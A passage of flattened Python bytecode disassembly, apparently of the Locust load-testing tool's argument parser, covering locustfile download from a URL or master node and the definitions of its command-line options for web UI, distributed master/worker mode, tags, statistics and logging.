WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CLOSURE locustfile BUILD_TUPLE LOAD_CONST <code object exit_handler at 0x7fab82289f60, file "f.py", line 175> LOAD_CONST 'download_locustfile_from_url.<locals>.exit_handler' MAKE_FUNCTION STORE_FAST exit_handler LOAD_GLOBAL atexit LOAD_METHOD register LOAD_FAST exit_handler CALL_METHOD POP_TOP LOAD_DEREF locustfile LOAD_ATTR name RETURN_VALUE SETUP_EXCEPT to 18 LOAD_GLOBAL os LOAD_METHOD remove LOAD_DEREF locustfile LOAD_ATTR name CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 38 DUP_TOP LOAD_GLOBAL FileNotFoundError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 38 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL LocustArgumentParser LOAD_FAST default_config_files LOAD_CONST False LOAD_CONST False LOAD_FAST add_help LOAD_GLOBAL configargparse LOAD_ATTR RawDescriptionHelpFormatter LOAD_GLOBAL configargparse LOAD_ATTR SUPPRESS LOAD_GLOBAL textwrap LOAD_METHOD dedent LOAD_CONST '\nUsage: locust [options] [UserClass ...]\n ' CALL_METHOD LOAD_CONST 'Examples:\n\n locust -f my_test.py -H https://www.example.com\n\n locust --headless -u 100 -t 20m --processes 4 MyHttpUser AnotherUser\n\nSee documentation for more details, including how to set options using a file or environment variables: https://docs.locust.io/en/stable/configuration.html' LOAD_CONST ('default_config_files', 'add_env_var_help', 'add_config_file_help', 'add_help', 'formatter_class', 'usage', 'description', 'epilog') CALL_FUNCTION STORE_FAST parser LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-f' LOAD_CONST '--locustfile' LOAD_CONST '<filename>' LOAD_CONST 'locustfile' LOAD_CONST "The Python file or module that contains your test, e.g. 'my_test.py'. Also accepts multiple comma-separated .py files or a package name/directory. Defaults to 'locustfile'." LOAD_CONST 'LOCUST_LOCUSTFILE' LOAD_CONST ('metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--config' LOAD_CONST True LOAD_CONST 'File to read additional configuration from. See https://docs.locust.io/en/stable/configuration.html#configuration-file' LOAD_CONST '<filename>' LOAD_CONST ('is_config_file_arg', 'help', 'metavar') CALL_FUNCTION POP_TOP LOAD_FAST parser RETURN_VALUE LOAD_GLOBAL socket LOAD_METHOD gethostname CALL_METHOD LOAD_CONST '_download_locustfile_' BINARY_ADD LOAD_GLOBAL uuid4 CALL_FUNCTION LOAD_ATTR hex BINARY_ADD STORE_DEREF client_id LOAD_GLOBAL zmqrpc LOAD_METHOD Client LOAD_FAST master_host LOAD_FAST master_port LOAD_DEREF client_id CALL_METHOD STORE_DEREF tempclient LOAD_CONST False STORE_DEREF got_reply LOAD_CLOSURE client_id LOAD_CLOSURE got_reply LOAD_CLOSURE tempclient BUILD_TUPLE LOAD_CONST <code object ask_for_locustfile at 0x7fab54393db0, file "f.py", line 232> LOAD_CONST 'download_locustfile_from_master.<locals>.ask_for_locustfile' MAKE_FUNCTION STORE_FAST ask_for_locustfile LOAD_CLOSURE tempclient BUILD_TUPLE LOAD_CONST <code object wait_for_reply at 0x7fab54393150, file "f.py", line 237> LOAD_CONST 'download_locustfile_from_master.<locals>.wait_for_reply' MAKE_FUNCTION STORE_FAST wait_for_reply LOAD_GLOBAL gevent LOAD_METHOD spawn LOAD_FAST ask_for_locustfile CALL_METHOD POP_TOP SETUP_EXCEPT to 112 LOAD_GLOBAL gevent LOAD_METHOD spawn LOAD_FAST wait_for_reply CALL_METHOD LOAD_ATTR get LOAD_GLOBAL runners LOAD_ATTR CONNECT_TIMEOUT LOAD_GLOBAL runners LOAD_ATTR CONNECT_RETRY_COUNT BINARY_MULTIPLY LOAD_CONST ('timeout',) CALL_FUNCTION STORE_FAST msg LOAD_CONST True STORE_DEREF got_reply POP_BLOCK JUMP_FORWARD to 172 DUP_TOP LOAD_GLOBAL gevent LOAD_ATTR Timeout COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST 'Got no locustfile response from master, gave up after ' LOAD_GLOBAL runners LOAD_ATTR CONNECT_TIMEOUT LOAD_GLOBAL runners LOAD_ATTR CONNECT_RETRY_COUNT BINARY_MULTIPLY FORMAT_VALUE LOAD_CONST 's\n' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 172 END_FINALLY LOAD_FAST msg LOAD_ATTR type LOAD_CONST 'locustfile' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST 'Got wrong message type from master ' LOAD_FAST msg LOAD_ATTR type FORMAT_VALUE LOAD_CONST '\n' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_CONST 'error' LOAD_FAST msg LOAD_ATTR data COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST 'Got error from master: ' LOAD_FAST msg LOAD_ATTR data LOAD_CONST 'error' BINARY_SUBSCR FORMAT_VALUE LOAD_CONST '\n' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST msg LOAD_ATTR data LOAD_CONST 'filename' BINARY_SUBSCR STORE_FAST filename LOAD_GLOBAL open LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL tempfile LOAD_METHOD gettempdir CALL_METHOD LOAD_FAST filename CALL_METHOD LOAD_CONST 'w' CALL_FUNCTION SETUP_WITH to 318 STORE_DEREF locustfile LOAD_DEREF locustfile LOAD_METHOD write LOAD_FAST msg LOAD_ATTR data LOAD_CONST 'contents' BINARY_SUBSCR CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CLOSURE locustfile BUILD_TUPLE LOAD_CONST <code object exit_handler at 0x7fab54393420, file "f.py", line 264> LOAD_CONST 'download_locustfile_from_master.<locals>.exit_handler' MAKE_FUNCTION STORE_FAST exit_handler LOAD_GLOBAL atexit LOAD_METHOD register LOAD_FAST exit_handler CALL_METHOD POP_TOP LOAD_DEREF tempclient LOAD_METHOD close CALL_METHOD POP_TOP LOAD_DEREF locustfile LOAD_ATTR name RETURN_VALUE SETUP_LOOP to 38 LOAD_DEREF got_reply POP_JUMP_IF_TRUE LOAD_DEREF tempclient LOAD_METHOD send LOAD_GLOBAL Message LOAD_CONST 'locustfile' LOAD_CONST None LOAD_DEREF client_id CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL gevent LOAD_METHOD sleep LOAD_CONST 1 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_DEREF tempclient LOAD_METHOD recv CALL_METHOD RETURN_VALUE SETUP_EXCEPT to 18 LOAD_GLOBAL os LOAD_METHOD remove LOAD_DEREF locustfile LOAD_ATTR name CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 38 DUP_TOP LOAD_GLOBAL FileNotFoundError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 38 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_empty_argument_parser LOAD_CONST False LOAD_CONST ('add_help',) CALL_FUNCTION STORE_FAST parser LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-h' LOAD_CONST '--help' LOAD_CONST 'store_true' LOAD_CONST False LOAD_CONST ('action', 'default') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--version' LOAD_CONST '-V' LOAD_CONST 'store_true' LOAD_CONST False LOAD_CONST ('action', 'default') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--worker' LOAD_CONST 'store_true' LOAD_CONST 'LOCUST_MODE_WORKER' LOAD_CONST ('action', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--master' LOAD_CONST 'store_true' LOAD_CONST 'LOCUST_MODE_MASTER' LOAD_CONST ('action', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--master-host' LOAD_CONST '127.0.0.1' LOAD_CONST 'LOCUST_MASTER_NODE_HOST' LOAD_CONST ('default', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--master-port' LOAD_GLOBAL int LOAD_CONST 5557 LOAD_CONST 'LOCUST_MASTER_NODE_PORT' LOAD_CONST ('type', 'default', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR parse_known_args LOAD_FAST args LOAD_CONST ('args',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST options STORE_FAST _ LOAD_FAST options LOAD_ATTR locustfile LOAD_CONST '-' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST options LOAD_ATTR worker POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST "locustfile was set to '-' (meaning to download from master) but --worker was not specified.\n" CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_GLOBAL download_locustfile_from_master LOAD_FAST options LOAD_ATTR master_host LOAD_FAST options LOAD_ATTR master_port CALL_FUNCTION STORE_FAST filename LOAD_FAST filename BUILD_LIST RETURN_VALUE LOAD_CONST <code object <listcomp> at 0x7fab54393ae0, file "f.py", line 334> LOAD_CONST 'parse_locustfile_option.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST options LOAD_ATTR locustfile LOAD_METHOD split LOAD_CONST ',' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST locustfile_as_list LOAD_GLOBAL locustfile_is_directory LOAD_FAST locustfile_as_list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL find_locustfiles LOAD_FAST locustfile_as_list LOAD_CONST True LOAD_CONST ('is_directory',) CALL_FUNCTION STORE_FAST locustfiles LOAD_CONST None STORE_FAST locustfile LOAD_FAST locustfiles EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST "Could not find any locustfiles in directory '" LOAD_FAST locustfile_as_list LOAD_CONST 0 BINARY_SUBSCR FORMAT_VALUE LOAD_CONST "'. See --help for available options.\n" BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP JUMP_FORWARD to 450 LOAD_GLOBAL len LOAD_FAST locustfile_as_list CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL find_locustfiles LOAD_FAST locustfile_as_list LOAD_CONST False LOAD_CONST ('is_directory',) CALL_FUNCTION STORE_FAST locustfiles LOAD_CONST None STORE_FAST locustfile JUMP_FORWARD to 450 LOAD_GLOBAL find_locustfile LOAD_FAST locustfile_as_list LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST locustfile BUILD_LIST STORE_FAST locustfiles LOAD_FAST locustfile EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST options LOAD_ATTR help EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST options LOAD_ATTR version EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL parse_options LOAD_FAST args LOAD_CONST ('args',) CALL_FUNCTION POP_TOP LOAD_CONST '' STORE_FAST note_about_file_endings LOAD_FAST options LOAD_ATTR locustfile STORE_FAST user_friendly_locustfile_name LOAD_FAST options LOAD_ATTR locustfile LOAD_CONST 'locustfile' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'locustfile.py' STORE_FAST user_friendly_locustfile_name JUMP_FORWARD to 402 LOAD_FAST options LOAD_ATTR locustfile LOAD_METHOD endswith LOAD_CONST '.py' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST "Ensure your locustfile ends with '.py' or is a directory with locustfiles. " STORE_FAST note_about_file_endings LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_METHOD write LOAD_CONST "Could not find '" LOAD_FAST user_friendly_locustfile_name FORMAT_VALUE LOAD_CONST "'. " LOAD_FAST note_about_file_endings FORMAT_VALUE LOAD_CONST 'See --help for available options.\n' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP JUMP_FORWARD to 450 LOAD_FAST locustfiles LOAD_METHOD append LOAD_FAST locustfile CALL_METHOD POP_TOP LOAD_FAST locustfiles RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 38 STORE_FAST f LOAD_GLOBAL is_url LOAD_FAST f LOAD_METHOD strip CALL_METHOD CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL download_locustfile_from_url LOAD_FAST f CALL_FUNCTION JUMP_FORWARD to 34 LOAD_FAST f LOAD_METHOD strip CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 'Common options' LOAD_FAST parser LOAD_ATTR _optionals STORE_ATTR title LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-H' LOAD_CONST '--host' LOAD_CONST '<base url>' LOAD_CONST 'Host to load test, in the following format: https://www.example.com' LOAD_CONST 'LOCUST_HOST' LOAD_CONST ('metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-u' LOAD_CONST '--users' LOAD_GLOBAL int LOAD_CONST '<int>' LOAD_CONST 'num_users' LOAD_CONST 'Peak number of concurrent Locust users. Primarily used together with --headless or --autostart. Can be changed during a test by keyboard inputs w, W (spawn 1, 10 users) and s, S (stop 1, 10 users)' LOAD_CONST 'LOCUST_USERS' LOAD_CONST ('type', 'metavar', 'dest', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-r' LOAD_CONST '--spawn-rate' LOAD_GLOBAL float LOAD_CONST '<float>' LOAD_CONST 'Rate to spawn users at (users per second). Primarily used together with --headless or --autostart' LOAD_CONST 'LOCUST_SPAWN_RATE' LOAD_CONST ('type', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--hatch-rate' LOAD_CONST 'LOCUST_HATCH_RATE' LOAD_CONST '<float>' LOAD_GLOBAL float LOAD_CONST 0 LOAD_GLOBAL configargparse LOAD_ATTR SUPPRESS LOAD_CONST ('env_var', 'metavar', 'type', 'default', 'help') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-t' LOAD_CONST '--run-time' LOAD_CONST '<time string>' LOAD_CONST 'Stop after the specified amount of time, e.g. (300s, 20m, 3h, 1h30m, etc.). Only used together with --headless or --autostart. Defaults to run forever.' LOAD_CONST 'LOCUST_RUN_TIME' LOAD_CONST ('metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '-l' LOAD_CONST '--list' LOAD_CONST 'store_true' LOAD_CONST 'list_commands' LOAD_CONST 'Show list of possible User classes and exit' LOAD_CONST ('action', 'dest', 'help') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_ATTR add_argument LOAD_CONST '--config-users' LOAD_GLOBAL str LOAD_CONST '*' LOAD_CONST 'User configuration as a JSON string or file. A list of arguments or an Array of JSON configuration may be provided' LOAD_CONST 'LOCUST_CONFIG_USERS' LOAD_CONST ('type', 'nargs', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Web UI options' CALL_METHOD STORE_FAST web_ui_group LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--web-host' LOAD_CONST '' LOAD_CONST '<ip>' LOAD_CONST "Host to bind the web interface to. Defaults to '*' (all interfaces)" LOAD_CONST 'LOCUST_WEB_HOST' LOAD_CONST ('default', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--web-port' LOAD_CONST '-P' LOAD_GLOBAL int LOAD_CONST '<port number>' LOAD_CONST 8089 LOAD_CONST 'Port on which to run web host' LOAD_CONST 'LOCUST_WEB_PORT' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--headless' LOAD_CONST 'store_true' LOAD_CONST 'Disable the web interface, and start the test immediately. Use -u and -t to control user count and run time' LOAD_CONST 'LOCUST_HEADLESS' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--autostart' LOAD_CONST 'store_true' LOAD_CONST 'Starts the test immediately (like --headless, but without disabling the web UI)' LOAD_CONST 'LOCUST_AUTOSTART' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--autoquit' LOAD_GLOBAL int LOAD_CONST '<seconds>' LOAD_CONST -1 LOAD_CONST 'Quits Locust entirely, X seconds after the run is finished. Only used together with --autostart. The default is to keep Locust running until you shut it down using CTRL+C' LOAD_CONST 'LOCUST_AUTOQUIT' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--headful' LOAD_CONST 'store_true' LOAD_GLOBAL configargparse LOAD_ATTR SUPPRESS LOAD_CONST 'LOCUST_HEADFUL' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--web-auth' LOAD_GLOBAL str LOAD_CONST 'web_auth' LOAD_CONST '<username:password>' LOAD_CONST None LOAD_GLOBAL configargparse LOAD_ATTR SUPPRESS LOAD_CONST 'LOCUST_WEB_AUTH' LOAD_CONST ('type', 'dest', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--web-login' LOAD_CONST False LOAD_CONST 'store_true' LOAD_CONST 'Protects the web interface with a login page. See https://docs.locust.io/en/stable/extending-locust.html#authentication' LOAD_CONST 'LOCUST_WEB_LOGIN' LOAD_CONST ('default', 'action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--tls-cert' LOAD_CONST '' LOAD_CONST '<filename>' LOAD_CONST 'Optional path to TLS certificate to use to serve over HTTPS' LOAD_CONST 'LOCUST_TLS_CERT' LOAD_CONST ('default', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--tls-key' LOAD_CONST '' LOAD_CONST '<filename>' LOAD_CONST 'Optional path to TLS private key to use to serve over HTTPS' LOAD_CONST 'LOCUST_TLS_KEY' LOAD_CONST ('default', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--class-picker' LOAD_CONST False LOAD_CONST 'store_true' LOAD_CONST 'Enable select boxes in the web interface to choose from all available User classes and Shape classes' LOAD_CONST 'LOCUST_USERCLASS_PICKER' LOAD_CONST ('default', 'action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST web_ui_group LOAD_ATTR add_argument LOAD_CONST '--legacy-ui' LOAD_CONST False LOAD_CONST 'store_true' LOAD_CONST 'Use the legacy frontend for the web UI' LOAD_CONST 'LOCUST_LEGACY_UI' LOAD_CONST ('default', 'action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Master options' LOAD_CONST 'Options for running a Locust Master node when running Locust distributed. A Master node need Worker nodes that connect to it before it can run load tests.' CALL_METHOD STORE_FAST master_group LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--master' LOAD_CONST 'store_true' LOAD_CONST 'Launch locust as a master node, to which worker nodes connect.' LOAD_CONST 'LOCUST_MODE_MASTER' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--master-bind-host' LOAD_CONST '*' LOAD_CONST '<ip>' LOAD_CONST "IP address for the master to listen on, e.g '192.168.1.1'. Defaults to * (all available interfaces)." LOAD_CONST 'LOCUST_MASTER_BIND_HOST' LOAD_CONST ('default', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--master-bind-port' LOAD_GLOBAL int LOAD_CONST '<port number>' LOAD_CONST 5557 LOAD_CONST 'Port for the master to listen on. Defaults to 5557.' LOAD_CONST 'LOCUST_MASTER_BIND_PORT' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--expect-workers' LOAD_GLOBAL int LOAD_CONST '<int>' LOAD_CONST 1 LOAD_CONST 'Delay starting the test until this number of workers have connected (only used in combination with --headless/--autostart).' LOAD_CONST 'LOCUST_EXPECT_WORKERS' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--expect-workers-max-wait' LOAD_GLOBAL int LOAD_CONST '<int>' LOAD_CONST 0 LOAD_CONST 'How long should the master wait for workers to connect before giving up. Defaults to wait forever' LOAD_CONST 'LOCUST_EXPECT_WORKERS_MAX_WAIT' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--enable-rebalancing' LOAD_CONST 'store_true' LOAD_CONST False LOAD_CONST 'enable_rebalancing' LOAD_CONST 'Re-distribute users if new workers are added or removed during a test run. Experimental.' LOAD_CONST ('action', 'default', 'dest', 'help') CALL_FUNCTION POP_TOP LOAD_FAST master_group LOAD_ATTR add_argument LOAD_CONST '--expect-slaves' LOAD_CONST 'store_true' LOAD_GLOBAL configargparse LOAD_ATTR SUPPRESS LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Worker options' LOAD_CONST 'Options for running a Locust Worker node when running Locust distributed.\nTypically ONLY these options (and --locustfile) need to be specified on workers, since other options (-u, -r, -t, ...) are controlled by the master node.' CALL_METHOD STORE_FAST worker_group LOAD_FAST worker_group LOAD_ATTR add_argument LOAD_CONST '--worker' LOAD_CONST 'store_true' LOAD_CONST "Set locust to run in distributed mode with this process as worker. Can be combined with setting --locustfile to '-' to download it from master." LOAD_CONST 'LOCUST_MODE_WORKER' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST worker_group LOAD_ATTR add_argument LOAD_CONST '--processes' LOAD_GLOBAL int LOAD_CONST '<int>' LOAD_CONST 'Number of times to fork the locust process, to enable using system. Combine with --worker flag or let it automatically set --worker and --master flags for an all-in-one-solution. Not available on Windows. Experimental.' LOAD_CONST 'LOCUST_PROCESSES' LOAD_CONST ('type', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST worker_group LOAD_ATTR add_argument LOAD_CONST '--slave' LOAD_CONST 'store_true' LOAD_GLOBAL configargparse LOAD_ATTR SUPPRESS LOAD_CONST ('action', 'help') CALL_FUNCTION POP_TOP LOAD_FAST worker_group LOAD_ATTR add_argument LOAD_CONST '--master-host' LOAD_CONST '127.0.0.1' LOAD_CONST 'Hostname of locust master node to connect to. Defaults to 127.0.0.1.' LOAD_CONST 'LOCUST_MASTER_NODE_HOST' LOAD_CONST '<hostname>' LOAD_CONST ('default', 'help', 'env_var', 'metavar') CALL_FUNCTION POP_TOP LOAD_FAST worker_group LOAD_ATTR add_argument LOAD_CONST '--master-port' LOAD_GLOBAL int LOAD_CONST '<port number>' LOAD_CONST 5557 LOAD_CONST 'Port to connect to on master node. Defaults to 5557.' LOAD_CONST 'LOCUST_MASTER_NODE_PORT' LOAD_CONST ('type', 'metavar', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Tag options' LOAD_CONST 'Locust tasks can be tagged using the @tag decorator. These options let specify which tasks to include or exclude during a test.' CALL_METHOD STORE_FAST tag_group LOAD_FAST tag_group LOAD_ATTR add_argument LOAD_CONST '-T' LOAD_CONST '--tags' LOAD_CONST '*' LOAD_CONST '<tag>' LOAD_CONST 'LOCUST_TAGS' LOAD_CONST 'List of tags to include in the test, so only tasks with any matching tags will be executed' LOAD_CONST ('nargs', 'metavar', 'env_var', 'help') CALL_FUNCTION POP_TOP LOAD_FAST tag_group LOAD_ATTR add_argument LOAD_CONST '-E' LOAD_CONST '--exclude-tags' LOAD_CONST '*' LOAD_CONST '<tag>' LOAD_CONST 'LOCUST_EXCLUDE_TAGS' LOAD_CONST 'List of tags to exclude from the test, so only tasks with no matching tags will be executed' LOAD_CONST ('nargs', 'metavar', 'env_var', 'help') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Request statistics options' CALL_METHOD STORE_FAST stats_group LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--csv' LOAD_CONST 'csv_prefix' LOAD_CONST '<filename>' LOAD_CONST 'Store request stats to files in CSV format. Setting this option will generate three files: <filename>_stats.csv, <filename>_stats_history.csv and <filename>_failures.csv. Any folders part of the prefix will be automatically created' LOAD_CONST 'LOCUST_CSV' LOAD_CONST ('dest', 'metavar', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--csv-full-history' LOAD_CONST 'store_true' LOAD_CONST False LOAD_CONST 'stats_history_enabled' LOAD_CONST "Store each stats entry in CSV format to _stats_history.csv file. You must also specify the '--csv' argument to enable this." LOAD_CONST 'LOCUST_CSV_FULL_HISTORY' LOAD_CONST ('action', 'default', 'dest', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--print-stats' LOAD_CONST 'store_true' LOAD_CONST 'Enable periodic printing of request stats in UI runs' LOAD_CONST 'LOCUST_PRINT_STATS' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--only-summary' LOAD_CONST 'store_true' LOAD_CONST 'Disable periodic printing of request stats during --headless run' LOAD_CONST 'LOCUST_ONLY_SUMMARY' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--reset-stats' LOAD_CONST 'store_true' LOAD_CONST 'Reset statistics once spawning has been completed. Should be set on both master and workers when running in distributed mode' LOAD_CONST 'LOCUST_RESET_STATS' LOAD_CONST ('action', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--html' LOAD_CONST '<filename>' LOAD_CONST 'html_file' LOAD_CONST 'Store HTML report to file path specified' LOAD_CONST 'LOCUST_HTML' LOAD_CONST ('metavar', 'dest', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST stats_group LOAD_ATTR add_argument LOAD_CONST '--json' LOAD_CONST False LOAD_CONST 'store_true' LOAD_CONST 'Prints the final stats in JSON format to stdout. Useful for parsing the results in other programs/scripts. Use together with --headless and --skip-log for an output only with the json data.' LOAD_CONST ('default', 'action', 'help') CALL_FUNCTION POP_TOP LOAD_FAST parser LOAD_METHOD add_argument_group LOAD_CONST 'Logging options' CALL_METHOD STORE_FAST log_group LOAD_FAST log_group LOAD_ATTR add_argument LOAD_CONST '--skip-log-setup' LOAD_CONST 'store_true' LOAD_CONST 'skip_log_setup' LOAD_CONST False LOAD_CONST "Disable Locust's logging setup. Instead, the configuration is provided by the Locust test or Python defaults." LOAD_CONST 'LOCUST_SKIP_LOG_SETUP' LOAD_CONST ('action', 'dest', 'default', 'help', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST log_group LOAD_ATTR add_argument LOAD_CONST '--loglevel' LOAD_CONST '-L' LOAD_CONST 'INFO' LOAD_CONST 'Choose between DEBUG/INFO/WARNING/ERROR/CRITICAL. Default is INFO.' LOAD_CONST '<level>' LOAD_CONST 'LOCUST_LOGLEVEL' LOAD_CONST ('default', 'help', 'metavar', 'env_var') CALL_FUNCTION POP_TOP LOAD_FAST log_group LOAD_ATTR add_argument LOAD_CONST '--logfile' LOAD_CONST 'Path to log file. If not set, log will go to stderr' LOAD_CONST 